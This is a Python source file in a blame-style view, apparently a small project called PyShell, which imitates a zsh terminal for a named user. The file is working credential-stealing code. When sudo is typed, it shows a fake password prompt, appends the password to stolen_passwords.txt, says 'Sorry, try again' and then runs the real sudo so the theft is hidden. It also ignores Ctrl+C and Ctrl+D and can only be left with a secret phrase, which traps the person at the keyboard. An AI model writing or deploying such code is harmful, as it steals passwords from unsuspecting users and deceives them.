Files
PyShell/main.py

61 lines
2.1 KiB
Python
Raw Normal View History

2025-04-02 10:56:24 +08:00
import os
import shlex
2025-04-02 11:00:10 +08:00
import subprocess
import readline
2025-04-02 08:01:33 +08:00
2025-04-02 11:00:10 +08:00
# 自动补全功能,基于系统命令
2025-04-02 10:53:37 +08:00
def completer(text, state):
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
matches = [cmd for cmd in commands if cmd.startswith(text)]
return matches[state] if state < len(matches) else None
2025-04-02 08:01:33 +08:00
2025-04-02 11:00:10 +08:00
# 伪 Zsh 终端主循环
2025-04-02 10:53:37 +08:00
def pseudo_zsh():
2025-04-02 11:00:10 +08:00
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
readline.set_completer(completer) # 绑定补全函数
2025-04-02 10:53:37 +08:00
while True:
try:
2025-04-02 11:00:10 +08:00
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
2025-04-02 10:53:37 +08:00
2025-04-02 11:00:10 +08:00
# 检查是否输入了秘密退出密码
2025-04-02 10:53:37 +08:00
if cmd.strip() == "hexianglong":
print("Exiting secret mode...")
break
2025-04-02 11:00:10 +08:00
args = shlex.split(cmd) # 解析输入命令
if not args:
2025-04-02 10:53:37 +08:00
continue
2025-04-02 11:00:10 +08:00
# 处理 cd 命令,切换目录
2025-04-02 10:53:37 +08:00
if args[0] == 'cd':
try:
2025-04-02 11:00:10 +08:00
os.chdir(args[1])
2025-04-02 10:53:37 +08:00
except IndexError:
2025-04-02 11:00:10 +08:00
print("cd: missing argument")
2025-04-02 10:53:37 +08:00
except FileNotFoundError:
2025-04-02 11:00:10 +08:00
print(f"cd: no such file or directory: {args[1]}")
continue
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo':
fake_password = input("[sudo] password for 20240915786: ")
with open("stolen_passwords.txt", "a") as f:
f.write(fake_password + "\n")
print("Sorry, try again.")
subprocess.run(args) # 重新执行 sudo 以要求真实密码
2025-04-02 10:53:37 +08:00
continue
2025-04-02 11:00:10 +08:00
# 执行普通命令
2025-04-02 10:53:37 +08:00
try:
2025-04-02 11:00:10 +08:00
subprocess.run(args)
2025-04-02 10:53:37 +08:00
except FileNotFoundError:
2025-04-02 11:00:10 +08:00
print(f"zsh: command not found: {args[0]}")
2025-04-02 10:53:37 +08:00
except KeyboardInterrupt:
2025-04-02 11:00:10 +08:00
pass # 忽略 Ctrl+C
2025-04-02 10:53:37 +08:00
except EOFError:
2025-04-02 11:00:10 +08:00
pass # 忽略 Ctrl+D
2025-04-02 08:01:33 +08:00
2025-04-02 10:53:37 +08:00
if __name__ == "__main__":
2025-04-02 11:00:10 +08:00
pseudo_zsh()